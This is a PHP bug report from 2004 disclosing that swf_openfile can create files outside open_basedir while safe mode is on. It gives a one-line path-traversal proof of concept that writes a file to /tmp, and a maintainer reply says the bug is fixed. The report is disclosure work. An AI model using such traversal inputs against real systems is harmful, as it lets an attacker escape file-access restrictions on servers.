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Bug #31270 SWF: Safe-mode can be bypassed
Submitted: 2004-12-23 15:23 UTC Modified: 2005-01-31 23:34 UTC
From: davidl at ngssoftware dot com Assigned:
Status: Closed Package: Safe Mode/open_basedir
PHP Version: 4.3.10 OS: Redhat Linux
Private report: No CVE-ID: None
 [2004-12-23 15:23 UTC] davidl at ngssoftware dot com
The swf_openfile function can be used to create files outside of open_basedir when safe mode is enabled.

Reproduce code:
swf_openfile("/../../../../../../../../../../../../../../tmp/testswf.txt", 256, 256, 30, 1, 1, 1);

Expected result:
a file called testswf.txt will be created in /tmp

Actual result:
a file called testswf.txt will be created in /tmp


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 [2004-12-23 19:04 UTC]
This bug has been fixed in CVS.

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